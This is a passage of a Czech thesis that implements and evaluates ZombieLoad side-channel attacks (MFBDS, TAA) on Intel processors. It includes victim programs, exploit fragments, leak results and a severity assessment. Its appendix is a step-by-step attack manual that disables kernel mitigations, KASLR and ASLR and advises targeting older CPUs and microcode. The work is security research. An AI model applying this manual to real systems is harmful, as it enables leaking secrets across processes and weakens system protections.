Přestože je ćılem posoudit závažnost zranitelnost́ı při útoku na běžně použ́ıvané
aplikace, pro účely ověřeńı funkčnosti (a př́ıpadně také efektivity) exploitu je
vhodné mı́t připravený program ”ideálńı oběti“. Takový program by měl v co
největš́ı mı́̌re využ́ıvat line fill buffer. Nab́ıźı se dva r̊uzné př́ımočaré př́ıstupy,
které nejv́ıce odpov́ıdaj́ı využ́ıváńı LFB běžnými aplikacemi.

Prvńı možnost́ı je v nekonečné smyčce neustále provádět store operace do
stejné paměti, č́ımž bude docházet k L1 cache hit̊um. Pomoćı LFB by pak měla
být zapsaná hodnota propagovaná dál do pamět’ové hierarchie. Aby se využilo
v́ıce položek LFB, je vhodné takových zápis̊u provádět v́ıce do r̊uzných cache
lines. Jednoduchým př́ıkladem je výpis 4.6. V programu se poč́ıtá s velikost́ı
cache line až 128 byt̊u, což je pro typické procesory maximum.

1 # define SECRET 0 x4142434445464748ULL
2 static uint8_t __attribute__ (( aligned (4096) )) page [4096];
3
4 int main(void)
5 {
6 while (1)
7 __asm__ __volatile__ (
8 "mov [%1] , %0 \n"
9 "mov [%2] , %0 \n"

10 "mov [%3] , %0 \n"
11 "mov [%4] , %0 \n"
12 : : "r" ( SECRET ), "r" (page), "r" (page + 128) ,
13 "r" (page + 256) , "r" (page + 512));
14 }

Výpis kódu 4.6: Varianta oběti založená na store operaćıch

Druhou variantou je neustále load operacemi vyvolávat L1 cache miss, což by
mělo využ́ıvat LFB pro načteńı dat z vyšš́ıch úrovńı pamět’ové hierarchie. Toho
lze doćılit přistupováńım na velké množstv́ı cache lines ideálně v náhodném
pořad́ı, aby nedocházelo ke spekulativńımu přednač́ıtáńı. V této situaci je
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možné využ́ıt lineárńı kongruenčńı generátor tak, jak bylo popsáno dř́ıve. Stále
je nutné poč́ıtat s t́ım, že cache line může mı́t velikost až 128 B. Konkrétńı
implementaci ukazuje výpis 4.7.

1 # define SECRET 0 x4142434445464748ULL
2 static uint64_t __attribute__ (( aligned (4096) )) pages [64 * 4];
3
4 int main(void)
5 {
6 for (int i = 0; i < 64 * 4; i++)
7 pages[i] = SECRET ;
8 while (1)
9 for (int i = 0; i < 64 * 4 / 2; i++)

10 {
11 int index = ((15 * i + 7) & 127) * 2;
12 __asm__ __volatile__ ("mov rax , [%0] \n"
13 : : "r" (pages + index) : "rax");
14 }
15 }

Výpis kódu 4.7: Varianta oběti založená na load operaćıch
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Kapitola 5
Analýza výsledk̊u

V předchoźı kapitole byly uvedeny čtyři varianty útoku na MFBDS (z toho
tři využ́ıvaj́ıćı page fault̊u a jedna založená na asistenci mikrokódu) a jedna
varianta útoku na TAA. Konkrétně se jedná o tyto implementace:

1. mfbds null ptr – page faulty generované př́ıstupem na nulovou adresu
(null pointer),

2. mfbds madvise – stránka je označena jako nepotřebná, následný př́ıstup
do ńı zp̊usobuje page fault,

3. mfbds large file – do adresńıho prostoru je namapovaný velký soubor,
př́ıstupy na jeho stránky generuj́ı page faulty,

4. mfbds zombieload – čteńı pomoćı kernelové stránky z cache line, která
je právě vyprazdňovaná, zp̊usobuje asistenci mikrokódu,

5. taa – čteńım z právě vyprazdňované cache line uvnitř TSX transakce
docháźı k asynchronńımu zrušeńı transakce.

Dále byly představeny dva programy oběti:

1. victim store – neustálými zápisy do několika cache lines docháźı ke
cache hit̊um, což vede k využ́ıváńı LFB,

2. victim load – náhodné čteńı z velkého množstv́ı cache lines zp̊usobuje
cache miss, načteńı cache lines nepř́ıtomných v L1 cache je zprostředkováno
LFB.
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5. Analýza výsledk̊u

Všechny uvedené varianty útoku byly testovány s oběma programy oběti.
Testováńı bylo prováděno na systému se serverovým procesorem Intel Xeon
E3-1245 v6 [34]. Jedná se o procesor představený počátkem roku 2017. Je
založený na mikroarchitektuře Kaby Lake. Disponuje čtyřmi fyzickými a osmi
logickými jádry (využ́ıvá tedy technologie Hyper-Threading). Tento procesor
podporuje instrukčńı rozš́ı̌reńı TSX. Jako operačńı systém byl zvolen Arch Li-
nux ve verzi 5.7.6-arch1-1 [35]. Na systému byl př́ıtomný mikrokód v revizi
0xd6 ze dne 23. 4. 2020 (v době psańı práce se jednalo o nejnověǰśı revizi).

Pro testováńı byl využit ještě jeden systém, aby bylo možné odhalit př́ıpadné
rozd́ıly ve výsledćıch na r̊uzných mikroarchitekturách. Jednalo se o proce-
sor Intel Core i5-8250U, který je určen primárně pro notebooky. Tento pro-
cesor také disponuje čtyřmi fyzickými a osmi logickými jádry, ale nepodpo-
ruje instrukčńı rozš́ı̌reńı TSX. Na tomto systému proto nebylo možné testovat
útoku na zranitelnost TAA. Použit byl operačńı systém Kali Linux ve verzi
5.7.6-1kali2 [36] a mikrokód v revizi 0xd6 ze dne 27. 4. 2020 (opět se jednalo
o nejnověǰśı revizi).

Testována byla varianta, kdy program útočńıka běž́ı na stejném logickém
jádře jako program oběti, i varianta, kdy jeden program běž́ı na prvńım hy-
perthreadu a druhý program na druhém hyperthreadu. U všech test̊u byl
počet iteraćı nastaven na 100 000. Dále při každém testu konkrétńı vari-
anty útočńıka a oběti bylo provedeno 100 nezávislých spuštěńı obou pro-
gramů. Testy byly prováděny na co nejméně zaneprázdněném systému – jed-
nalo se tedy o ideálńı podmı́nky pro útok. Pro testováńı útoku na stejném
logickém jádře bylo potřeba vypnout softwarové záplaty pomoćı argument̊u
jádra mds=off a př́ıpadně také tsx async abort=off. Bez těchto argu-
ment̊u dopadly testy dle očekáváńı – nedocházelo k úniku dat. V obou př́ıpadech
programů oběti byla jako tajná hodnota zvoleno č́ıslo 0x414243444546474815.

Úspěšnost dané implementace proti dané oběti v dané variantě (útok na stejném
logickém jádře nebo mezi hyperthready) byla vždy určovaná stejným zp̊usobem.
Výstupem programů útočńıka je množina odtajněných osmic byt̊u a jejich
četnost́ı. Pro zjednodušeńı byly při vyhodnocováńı ignorovány závislosti mezi
byty v dané osmici – pro provedené testy toto zjednodušeńı nijak výsledek ne-
ovlivnilo16. Pro každý sloupec ve výstupu byla určena množina možných hod-
not a jejich četnost́ı. Zvolena byla vždy hodnota s nejvyšš́ı četnost́ı s výjimkou
nuly, která obvykle měla nejvyšš́ı četnost proto, že se jednalo o skutečnou hod-
notu v paměti, a ne spekulativńı hodnotu. Takto bylo zvoleno osm byt̊u jako

15Ve výstupech programů jsou záměrně jednotlivé byty uvedeny v pořad́ı od nejnižš́ıch
po nejvyšš́ı. V útoćıch jsou byty indikovány ve stejném pořad́ı a je tak pro nižš́ı byty vyšš́ı
šance, že se povede jejich odtajněńı.

16Situace by byla jiná, když by programy oběti pracovaly s v́ıce r̊uznými tajnými hodno-
tami.
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5.1. Analýza útoku na MFBDS pomoćı asistence mikrokódu

nejpravděpodobněǰśı nejnižš́ı byte, druhý nejnižš́ı byte atd. Nejpravděpodobněǰśı
osmice pak byla porovnaná se skutečnou tajnou hodnotou a bylo určeno, kolik
byt̊u z osmice se podařilo odtajnit. Takto bylo provedeno 100 měřeńı a pro-
centuálně vyhodnoceno, kolik byt̊u z osmi v měřeném vzorku uniká.

5.1 Analýza útoku na MFBDS pomoćı asistence
mikrokódu

Zranitelnost MFBDS se podařilo potvrdit variantou útoku mfbds zombieload.
Ukázkový výstup programu ukazuje výpis 5.1. Výstup na každém řádku ob-
sahuje výpis osmice byt̊u společně s počtem jej́ıch výskyt̊u. Aby byl výstup
kratš́ı, byl počet iteraćı změněn na 1 000. Jak je vidět, úspěšnost útoku to ni-
jak neovlivnilo. Ve výstupu je možné pozorovat únik až šesti byt̊u z osmi.
Je také vidět, že velmi často docháźı k úniku pouze podmnožiny tajných
dat. Nejčastěǰśı hodnotou je osmice nul, což je očekávané, jelikož se jedná
o skutečnou hodnotu uloženou v paměti, ze které spekulativńı nač́ıtáńı prob́ıhá.
Při útoku bylo spekulativně nač́ıtáno z adresy zarovnané na násobek 64 B
(velikost cache line). Jednoduchou modifikaćı útoku je možné pozorovat, že
přičteńım nějakého offsetu k adrese, na kterou se útoč́ı, se náležitě posunou
i uniklá data. Lze si t́ımto zvolit, jaká data v rámci cache line chceme, aby
unikala.

1 0 0 0 0 0 0 0 0 : 802
2 0 47 0 0 0 0 0 0 : 4
3 0 47 0 45 0 0 0 0 : 3
4 0 47 0 45 44 0 0 0 : 1
5 0 47 46 0 0 0 0 0 : 16
6 0 47 46 45 0 0 0 0 : 13
7 0 47 46 45 44 0 0 0 : 6
8 48 0 46 45 0 0 0 0 : 3
9 48 0 46 45 44 43 0 0 : 1

10 48 47 0 0 0 0 0 0 : 30
11 48 47 0 0 44 0 0 0 : 1
12 48 47 0 45 0 0 0 0 : 23
13 48 47 0 45 44 0 0 0 : 1
14 48 47 46 0 0 0 0 0 : 57
15 48 47 46 0 44 0 0 0 : 2
16 48 47 46 45 0 0 0 0 : 33
17 48 47 46 45 44 0 0 0 : 2
18 63 30 0 0 0 0 0 0 : 2

Výpis kódu 5.1: Výstup programu mfbds zombieload

Dále jsem na základě d̊ukladného laděńı identifikoval některá omezeńı přiložené
implementace útoku. Na systému se serverovým procesorem nebylo možné zra-
nitelnost pozorovat, dokud nebyl změněn rozsah ověřovaných hodnot z plného
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rozsahu 0 – 255 na 65 – 76. Co je změnou rozsahu myšleno, ukazuje výpis
5.2. Přesnou př́ıčinu této silné podmı́nky se mi nepodařilo identifikovat. Pro
odstraněńı tohoto omezeńı jsem zkoušel d̊uležité proměnné alokovat r̊uznými
zp̊usoby, aby se vyloučila spojitost s umı́stěńım proměnných v paměti. Dále
jsem kritické části kódu (jádro exploitu a měřeńı času př́ıstupu pro metodu
Flush+Reload) zkoušel implementovat jinými zp̊usoby. To zahrnuje použit́ı in-
line assembleru namı́sto samostatného .S souboru, doplněńı či ubráni mfence
a lfence instrukćı, zjednodušeńı exploitu pro únik pouze jednoho bytu, změny
zp̊usobu indikace byt̊u nebo např́ıklad úprava parametr̊u pro kompilaci. Podařilo
se pouze určit, že (ne)úspěšnost útoku záviśı na koncové hodnotě ověřovaného
rozsahu dat. Úspěšnost při ověřováńı hodnot mezi 0 a 76 byla stejná, jako
při použit́ı rozsahu 65 – 76. Speciálně byl testovaný rozsah, se kterým byl
tajný byte ověřovaný metodou Flush+Reload hned jako prvńı. T́ım se vy-
loučila možnost, že by ověřováńı hodnot předcházej́ıćıch skutečnou hodnotu
tajného bytu mohlo zp̊usobovat vyprázdněńı cache line, která odtajněný byte
indikuje. Omezeńı bylo pozorováno nezávisle na použitém operačńım systému
a revizi mikrokódu. Vzhledem k tomu, že na druhém systému toto omezeńı
nebylo pozorováno, je možné předpokládat, že se jedná o nedokonalost imple-
mentace útoku na této mikroarchitektuře.

1 if (! setjmp ( jmpbuf ))
2 exploit (user_page , kernel_page , probe_array );
3
4 - for (int j = 0; j <= 255; j++)
5 + for (int j = ’A’; j <= ’L’; j++)
6 for (int k = 0; k < 8; k++)
7 if ( reload_flush ( probe_array + j * 4096 * 4
8 + k * 2048) < CACHE_TRESHOLD )
9 leaked_bytes [k] = j;

Výpis kódu 5.2: Změna rozsahu ověřovaných dat v programu
mfbds zombieload

Na druhém systému (notebook) byla identifikovaná jiná nedokonalost, kterou
je ale mnohem snažš́ı opravit. Při některých spuštěńıch programu útočńıka
docházelo k úniku hodnot dle předpokladu. Často ale tajná data neunikala
v̊ubec. Podařilo se určit, že úspěšnost útoku záviśı na adrese pole probe array.
Ve všech př́ıpadech přitom byly adresy pole zarovnané na stránky (4096 B).
Přesný kĺıč, podle kterého by se daná adresa označila jako vhodná či nevhodná,
se nepodařilo určit. Lze však konstatovat, že (ne)vhodnost adres byla zacho-
vaná i po restartu systému. Při použit́ı jiné distribuce Linuxu na stejném hard-
waru ale byla množina vhodných adres jiná. Jelikož je snadné během několika
spuštěńı programu určit alespoň jednu vhodnou adresu, lze na této mikroar-
chitektuře tvrdit, že útok je možné plnohodnotně provést. Závažnost zranitel-
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nosti MFBDS byla vyhodnocovaná na základě tohoto systému s př́ıhlednut́ım
na možnost rozd́ılného chováńı na r̊uzných mikroarchitekturách.

S upraveným možným rozsahem dat (na 65 – 76, což v ASCII odpov́ıdá
'A' až 'L') na prvńım systému, respektive s použitou vhodnou adresou pro
probe array na druhém systému, byly výsledky velmi podobné. Útok na
stejné logické jádro měl mnohem menš́ı úspěšnost než útok mezi hyperthready.
Zaj́ımavé je, že útok na obět’ victim load byl mnohem méně úspěšný oproti
oběti victim store. Výsledky měřeńı jsou znázorněny v grafech 5.1 a 5.2.
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Obrázek 5.1: Počet odtajněných byt̊u z osmi ve vzorku 100 měřeńı s použit́ım
útoku mfbds zombieload na stejné logické jádro a programem oběti
victim load (vlevo) a victim store (vpravo)
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Obrázek 5.2: Počet odtajněných byt̊u z osmi ve vzorku 100 měřeńı
s použit́ım útoku mfbds zombieload mezi hyperthready a programem oběti
victim load (vlevo) a victim store (vpravo)
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5.2 Analýza útoku na MFBDS pomoćı page fault̊u

Dále byly testovány varianty útoku na MFBDS, které využ́ıvaj́ı page fault̊u.
Ani u jedné ze tř́ı variant se nepodařilo zranitelnost uspokojivě potvrdit. Tes-
továńı přitom proběhlo s oběma variantami oběti na obou systémech – ser-
verovém i notebookovém. Pro ověřeńı, že k page fault̊um skutečně docháźı,
byl využit př́ıkaz ps -o min flt,maj flt,cmd PID s doplněńım č́ısla procesu
útočńıka mı́sto PID [37]. V př́ıpadě varianty mfbds null ptr podle výstupu
př́ıkazu k page fault̊um nedocháźı. To je ale pravděpodobně zp̊usobeno t́ım,
že operačńı systém nevalidńı př́ıstupy do paměti jako page faulty nepoč́ıtá.
Důkazem, že k page fault̊um (z mikroarchitekturálńıho pohledu) skutečně
docháźı, je už jen samotný signál SIGSEGV. Zbývaj́ıćı dvě varianty dle výstupu
př́ıkazu ps page faulty jasně generuj́ı.

5.3 Analýza útoku na TAA

Zranitelnost TAA se pomoćı programu taa podařilo prokázat. Oproti útoku
pomoćı mfbds zombieload se podařilo identifikovat některé odlǐsnosti. Nut-
nou podmı́nkou pro únik dat je asynchronńı zrušeńı TSX transakce. Jak bylo
popsáno dř́ıve, program útočńıka splněńı této podmı́nky detekuje a pokouš́ı se
źıskat tajná data, pouze pokud k asynchronńımu zrušeńı TSX opravdu došlo.
Bylo možné si všimnout, že počet př́ıpad̊u, kdy byla podmı́nka splněna, se po-
hyboval mezi 5 000 až 80 000 (ze 100 000). Použit́ım starš́ı revize mikrokódu
(konkrétně revize e8) se hodnota ustálila okolo 70 000. Je tedy možné, že se
Intel pokusil pomoćı aktualizace mikrokódu zranitelnost zmı́rnit. Narozd́ıl od
útoku mfbds zombieload se nepodařilo volbou adresy, ze které spekulativńı
nač́ıtáńı prob́ıhá, určovat, ze které části cache line maj́ı data unikat. Vždy
unikala stejná data nezávisle na (ne)zarovnáńı adresy na 64 B (velikost cache
line). Toto pozorováńı je v souladu s dokumentem ZombieLoad17 [1].

I v tomto př́ıpadě se se úspěšnost útoku na serverovém systému odv́ıjela od
ověřovaného rozsahu dat. V této variantě však data unikala v malém měř́ıtku
i při použit́ı plného rozsahu 0 – 255. To je znázorněno v grafech 5.3. Zaj́ımavým
poznatkem je, že nejčastěji odtajněným bytem byl byte 0x47 – tedy druhý
nejnižš́ı byte (nikoliv nejnižš́ı byte, jak by se dalo očekávat).

17Přesto existuje varianta útoku na TAA, která pomoćı r̊uzného zarovnáńı adresy
umožňuje odtajnit celou cache line [38].
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Obrázek 5.3: Počet odtajněných byt̊u z osmi ve vzorku 100 měřeńı s použit́ım
útoku taa mezi hyperthready s plným rozsahem dat a programem oběti
victim load (vlevo) a victim store (vpravo)

V této variantě se zranitelnost při útoku na stejném logickém jádře nepodařilo
prokázat. Pro posouzeńı plného potenciálu zranitelnosti byly testy prováděny
s upraveným rozsahem 'A' – 'L'. Výsledky ukazuj́ı grafy 5.4.

298 100

0 byt̊u
1 byte
2 byty
3 byty
4 byty
5 byt̊u
6 byt̊u
7 byt̊u
8 byt̊u

Obrázek 5.4: Počet odtajněných byt̊u z osmi ve vzorku 100 měřeńı s použit́ım
útoku taa mezi hyperthready s upraveným rozsahem dat 'A' – 'L' a progra-
mem oběti victim load (vlevo) a victim store (vpravo)
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5. Analýza výsledk̊u

5.4 Analýza závažnosti zranitelnost́ı

Útok s programy mfbds zombieload a taa byl dále proveden proti běžně
použ́ıvaným aplikaćım. Jednalo se o programy jako vim [39], gedit [40], chro-
mium [41] nebo bash [42]. Uvedené programy byly při testováńı spuštěné
s připnut́ım k danému logickému jádru, jinak byly použ́ıvané běžným zp̊usobem.
Účelem test̊u bylo zejména zjistit, zda je d́ıky zranitelnostem možné monito-
rovat aktivitu uživatele. Z toho d̊uvodu programy útočńık̊u zkoumaly pouze
tisknutelnou část ASCII tabulky (od znaku mezera po znak vlnovka). Ukázalo
se, že ani při deľśım běhu (deśıtky minut) programů útočńıka na druhém hy-
perthreadu nebylo možné pozorovat náznaky aktivity uživatele. Z toho lze
usuzovat, že je velmi obt́ıžné pomoćı diskutovaných zranitelnost́ı sledovat
uživatele.

S upravenou implementaćı útoku, kterou nab́ıźı dokument ZombieLoad [1], by
teoreticky mohlo být možné útočit na konkrétńı informaci (např́ıklad heslo).
V tom př́ıpadě je ale nutné znát alespoň několik byt̊u této informace. Útok
je pak možné provést tak, že během spekulace se uniklá data porovnávaj́ı
s kontextem (již známými byty). Pokud se část spekulativńıch dat shoduje
s kontextem, ke kontextu se připoj́ı nově źıskaná data. Za předpokladu, že je
možné útočit na celou cache line, je tak možné postupně odtajňovat hledanou
informaci. Tato metoda útoku byla implementovaná týmem RIDL [38].

Předevš́ım d́ıky útoku, který byl popsán v předchoźım odstavci, nelze ř́ıci, že
zranitelnosti v praxi nejsou zneužitelné. Útok je však velmi obt́ıžný. Nejv́ıce
limituj́ıćım faktorem je frekvence, s jakou procesor s tajnými daty pracuje.
V praxi tato frekvence nebývá dostatečná, aby k úniku dat docházelo, re-
spektive aby bylo možné je ve výpisu mezi nezaj́ımavý daty identifikovat.
V praxi se nav́ıc jev́ı jako zneužitelná pouze zranitelnost TAA. V této práci se
zranitelnost MFBDS podařilo prokázat pouze pomoćı útoku, která vyžaduje
administrátorská oprávněńı. Tato varianta by mohla být využitelná pouze při
útoku z virtuálńıho stroje na jiný virtuálńı stroj, př́ıpadně proti aplikaci běž́ıćı
v SGX režimu. Zranitelnost TAA je pak možné zcela eliminovat vypnut́ım in-
strukčńıho rozš́ı̌reńı TSX. To by ve většině př́ıpad̊u nemělo mı́t tak velký
dopad na výkon jako vypnut́ı hyperthreadingu.

Obecně lze tedy ř́ıci, že útok je možný i s nejnověǰśımi záplatami a operačńım
systémem, ale jeho provedeńı je v praxi velmi obt́ıžné.
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Závěr

Ćılem této práce bylo prezentovat útok ZombieLoad na vybrané architektuře
a analyzovat závažnost zranitelnost́ı zneuž́ıvaných při útoku. V práci byly
identifikované dvě hlavńı zranitelnosti – MFBDS a TAA. Princip útoku na obě
tyto zranitelnosti byl vysvětlen a na základě toho byla popsána implementace
několika variant programu útočńıka. Jako úspěšné se přitom ukázaly pouze
dvě varianty útoku – jedna zneuž́ıvaj́ıćı MFBDS a jedna zneuž́ıvaj́ıćı TAA.
Úspěšné implementace byly testované na dvou r̊uzných architekturách. Na
každé architektuře přitom bylo identifikované jiné omezeńı ztěžuj́ıćı provedeńı
útoku. Implementované varianty by bylo dále vhodné otestovat na daľśıch
mikroarchitekturách procesoru, nalézt př́ıpadná daľśı omezeńı a určit přesný
p̊uvod těchto omezeńı společně s postupy, jak nalezená omezeńı eliminovat.

Na základě pozorovaných výsledk̊u lze ř́ıci, že úspěšnost útoku záviśı na velkém
množstv́ı faktor̊u, jako je mikroarchitektura zvoleného procesoru, aktuálńı
zat́ıžeńı systému a předevš́ım konkrétńı podoba programu útočńıka i oběti.
Z pohledu útočńıka je přitom nejproblematičtěǰśı právě chováńı programu
oběti. Aby k úspěšnému útoku mohlo doj́ıt, muśı zranitelné mikroarchitek-
turálńı struktury procesoru s tajnými daty pracovat velmi frekventovaně. To
se ukázalo jako největš́ı překážka, d́ıky které je v praxi velmi obt́ıžné útok
provést. Přesto by MDS zranitelnosti neměly být zcela přehĺıžené. Lze do-
poručit vypnut́ı instrukčńıho rozš́ı̌reńı TSX, pomoćı kterého by př́ıpadný útok
byl velmi pravděpodobně veden. Zároveň by vypnut́ı TSX nemělo mı́t na
většině systémů výrazněǰśı dopad na výkon.

V závěru psańı této práce byla zveřejněna daľśı MDS zranitelnost, Special Re-
gister Buffer Data Sampling (SRBDS) [43], která umožňuje únik dat např́ıklad
z hardwarového generátoru náhodných č́ısel. Lze předpokládat, že se budou
objevovat daľśı MDS zranitelnosti a obecně útoky zneuž́ıvaj́ıćı spekulativńıho
vykonáváńı, které budou vyžadovat daľśı záplaty zp̊usobuj́ıćı daľśı sńıžeńı
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výkonu procesoru. Bude pak stále obt́ıžněǰśı rozhodnout, zda záplaty přijmout,
nebo akceptovat riziko spojené s nezáplatovanými zranitelnostmi.
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//www.gnu.org/software/bash/.

43. INTEL. Deep Dive: Special Register Buffer Data Sampling [online]. ©
Intel Corporation [cit. 2020-07-20]. Dostupné z: https://software.
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Př́ıloha A
Manuál pro provedeńı útoku

Před samotným útokem je vhodné si ověřit, zda je procesor v̊ubec zranitelný.
K tomu slouž́ı přiložený program mitigations check, který je možné sestavit
př́ıkazem make. Před jeho spuštěńım je nutné př́ıkazem sudo modprobe msr
zavést modul jádra umožňuj́ıćı práci s MSR registry [44]. Program vypisuje
informace o (ne)dostupnosti hardwarových oprav a softwarových záplat přesně
tak, jak bylo popsáno v kapitole Opravy a záplaty.

Daľśım krokem je určeńı mezńı hodnoty pro př́ıstup do operačńı paměti a cache.
K tomu je určen program cache treshold. Program je nejprve potřeba sesta-
vit př́ıkazem make. Dále je vhodné v souboru Makefile upravit taskset -c 0
za taskset -c CPU, kde CPU je č́ıslo logického jádra, na kterém bude spuštěn
program útočńıka. Př́ıkaz lscpu -e [45] vypisuje seznam všech logických ja-
der včetně jejich párováńı na hyperthready. Následný př́ıkaz make run provede
100 000 měřeńı a na základě medián̊u urč́ı hranici. Pomoćı př́ıkazu make plot
je možné si naměřená data nechat vykreslit a ověřit tak, že při měřeńı nedošlo
k velkému rušeńı. Pro vykresleńı je vyžadován program gnuplot [46].

Dále je třeba zvolit program oběti. Součást́ı přiloženého řešeńı jsou dvě vari-
anty – victim load a victim store. Jako obět’ může sloužit i libovolný jiný
program. Přiložené programy oběti je možné sestavit př́ıkazem make. Společně
s programem oběti je potřeba zvolit, zda bude útok prováděn na stejném lo-
gickém jádře (v takovém př́ıpadě lzde očekávat menš́ı úspěšnost), nebo mezi
hyperthready. Před útokem na stejném logickém jádře je nutné spustit OS
Linux s parametry jádra mds=off tsx async abort=off, č́ımž se vypnou
př́ıpadné softwarové záplaty. Bez ohledu na variantu útoku muśı být jádro
zavedeno s oběma argumenty. Pro útok mezi hyperthready tyto parametry
nejsou potřeba. Spuštěńı programu oběti na daném logickém jádře je možné
pomoćı př́ıkazu taskset -c CPU COMMAND s doplněńım č́ısla logického jádra
za CPU a názvu programu oběti za COMMAND.
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A. Manuál pro provedeńı útoku

Posledńım krokem je provedeńı útoku. Před sestaveńım programu útočńıka
je nutné změnit konstantu CACHE TRESHOLD v souboru main.cpp (př́ıpadně
main.c) podle výstupu programu cache treshold. Dále je možné změnit
konstantu ITERATIONS, která nastavuje počet pokus̊u o źıskáńı tajné hod-
noty. Všechny přiložené programy útočńıka se sestavuj́ı př́ıkazem make. Pro-
gram útočńıka je poté potřeba spustit obdobně jako program oběti př́ıkazem
taskset -c CPU COMMAND s názvem programu mı́sto COMMAND a č́ıslem lo-
gického jádra namı́sto CPU. To muśı být shodné s č́ıslem použitým při spuštěńı
programu oběti (v př́ıpadě útoku na stejném jádře), nebo se muśı jednat o č́ıslo
druhého logického jádra (v př́ıpadě útoku mezi hyperthready).

Speciálně varianta mfbds zombieload vyžaduje spuštěńı s administrátorskými
oprávněńımi a běh na OS Linux se zavedeným jádrem s dodatečnými param-
tery nopti nokaslr. Dále může být v této variantě před sestaveńım potřeba
změnit konstantu 0xFFFF888000000000ULL za 0xFFFF880000000000ULL v sou-
boru main.cpp za předpokladu, že na daném systému běž́ı jádro Linuxu s verźı
4.18 nebo starš́ı. Ostatńı varianty útoku administrátorská oprávněńı ani para-
metry při zaváděńı jádra nevyžaduj́ı. Varianta taa už ze svého principu může
být spuštěna pouze na procesoru s instrukčńım rozš́ı̌reńım TSX RTM. Jeho
dostupnost je možné ověřit př́ıkazem lscpu, kdy v seznamu flags muśı být
uvedeno rtm.

Úspěšnost útoku může být ovlivněna mnoha faktory, přesto lze vyjmenovat
některé nejčastěǰśı problémy.

• Ve výstupu programu útočńıka je vypsáno mnoho hodnot s vysokými
četnostmi.

Př́ıčin může být několik. Jednou možnost́ı je př́ılǐs vysoká hodnota kon-
stanty CACHE TRESHOLD. Je vhodné ji pravidelně přeměřovat, jelikož se
může s frekvenćı procesoru (a tedy vyt́ıžeńım systému) velmi měnit.
Velkou změnu je možné pozorovat při připojeńı či odpojeńı napájećıho
adaptéru notebooku.

Stejné chováńı je možné pozorovat také v př́ıpadě, kdy exploit v každé
iteraci pracuje s jinou pamět́ı s r̊uzným obsahem. Např́ıklad ve vari-
antě mfbds large file se přistupuje na jednotlivé stránky velkého sou-
boru mapovaného do adresńıho prostoru. Pokud by soubor byl tvořený
náhodnými daty, při neúspěšném pokusu o spekulativńı prováděńı s taj-
nou hodnotou by se indikovala hodnota skutečně uložená v dané stránce.
Proto všechny přiložené exploity pamět’, ze které je nač́ıtáńım vyvoláváno
spekulativńı vykonáváńı, před použit́ım nuluj́ı. Varianta mfbds large file
pracuje se souborem obsahuj́ıćım pouze nulové byty. Tato situace by
proto v př́ıpadě přiložených programů neměla nastat.
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Také je nutné zmı́nit možnost, že procesor při ověřováńı indikované
hodnoty metodou Flush+Reload spekulativně přednač́ıtá daľśı indikačńı
cache lines, č́ımž vzniká falešná indikace. Všechny přiložené varianty
útoku při ověřováńı indikované hodnoty přistupuj́ı do každé stránky
nejvýše dvakrát. V rámci této práce jsem na r̊uzných mikroarchitek-
turách pozoroval, že ke spekulativńımu přednač́ıtáńı docháźı až při třet́ım
př́ıstupu do stejné stránky. Proto by ke spekulativńımu přednač́ıtáńı
u přiložených programů nemělo docházet.

• Při několikanásobném sekvenčńım spuštěńı programu útočńıka v některých
př́ıpadech tajná hodnota jasně uniká, jindy zranitelnost nelze pozorovat.

Úspěšnost útoku může být fixovaná na konkrétńı umı́stěńı d̊uležitých
proměnných programu útočńıka i oběti v paměti. V tomto př́ıpadě je
vhodné vypnout ochranu ASLR a KASLR. Dı́ky tomu by rozložeńı
paměti mělo být při každém spuštěńı programu útočńıka i oběti velmi
podobné. Ochranu ASLR je možné na OS Linux vypnout př́ıkazem
sudo bash -c ’echo 0 > /proc/sys/kernel/randomize va space’.
Ochranu KASLR je možné vypnout zavedeńım jádra OS s paramet-
rem nokaslr. S neměnným pamět’ovým rozložeńım je pak mnohem jed-
nodušš́ı identifikovat problematickou část exploitu. Po vypnut́ı ochrany
ASLR jsem pozoroval, že výstup programu útočńıka byl při v́ıce spuštěńıch
až překvapivě podobný (téměř identický).

• Při útoku neńı možné pozorovat únik dat.

Úspěšnost přiložených variant útoku může záviset na velkém množstv́ı
faktor̊u. Na jedné mikroarchitektuře může útok velmi dobře fungovat, na
jiné nemuśı data v̊ubec unikat. Nav́ıc je často velmi obt́ıžné identifikovat
přesný d̊uvod, proč na dané mikroarchitektuře nějaká konkrétńı varianta
útoku nefunguje.

Obecně lze doporučit nainstalováńı starš́ı revize mikrokódu a spouštěńı
na starš́ı verzi operačńıho systému. Program victim store se jev́ı jako
velmi vhodný program oběti, je proto dobré zač́ıt s ńım. Útok na stejném
logickém jádře se zdá jako méně úspěšný, je proto lepš́ı nejprve zkoušet
útok mezi hyperthready.

Přestože by procesor podle programu mitigations check měl být zra-
nitelný, v praxi tomu tak nemuśı nutně být. Během psańı této práce
jsem také pracoval s procesorem Intel Core i5-9500, na kterém se ne-
podařilo zranitelnost MFBDS ani TAA prokázat. Vzhledem k tomu, že
tento procesor byl zveřejněn ve druhém čtvrtletńı roku 2019, je možné
předpokládat, že některé hardwarové opravy již má. Jistěǰśı je proto
útočit na procesory vydané před rokem 2018, kdy začalo docházet k hlášeńı
MDS zranitelnost́ı Intelu.
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A. Manuál pro provedeńı útoku

Zásadńım faktorem je konkrétńı podoba exploitu na úrovni instrukćı.
Přidáńım několika nop instrukćı na nevhodné mı́sto může přestat ex-
ploit zcela fungovat. Pokud jsou všechny předpoklady pro úspěšný útok
splněny, ale útok se přesto nedař́ı, je nutné experimentovat předevš́ım
s jádrem exploitu a kódem metody Flush+Reload.
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Př́ıloha B
Seznam použitých zkratek

ALU Arithmetic logic unit

ASLR Address Space Layout Randomization

BIOS Basic Input/Output System

CISC Complex Instruction Set Computers

KASLR Kernel Address Space Layout Randomization

KPTI Kernel Page Table Isolation

L1 Level 1

L1TF L1 Terminal Fault

L2 Level 2

LFB Line fill buffer

LLC Last level cache

MDS Microarchitectural Data Sampling

MDSUM Microarchitectural Data Sampling Uncacheable Memory

MFBDS Microarchitectural Fill Buffer Data Sampling

MMU Memory management unit

MSR Model-specific register

OS Operačńı systém

PAT Page Attribute Table
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B. Seznam použitých zkratek

PTI Page Table Isolation

RAT Register Alias Table

RDCL Rogue Data Cache Load

RIDL Rogue In-Flight Data Load

RISC Reduced Instruction Set Computers

RTM Restricted Transactional Memory

SGX Software Guard Extensions

SRBDS Special Register Buffer Data Sampling

TAA TSX Asynchronous Abort

TSC Time stamp counter

TSX Transactional Synchronization Extensions

UC Uncacheable

WB Write-back

WC Write-combine

WP Write-protect

WT Write-through
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Př́ıloha C
Obsah p̌riloženého CD

readme.txt .................................. stručný popis obsahu CD
src

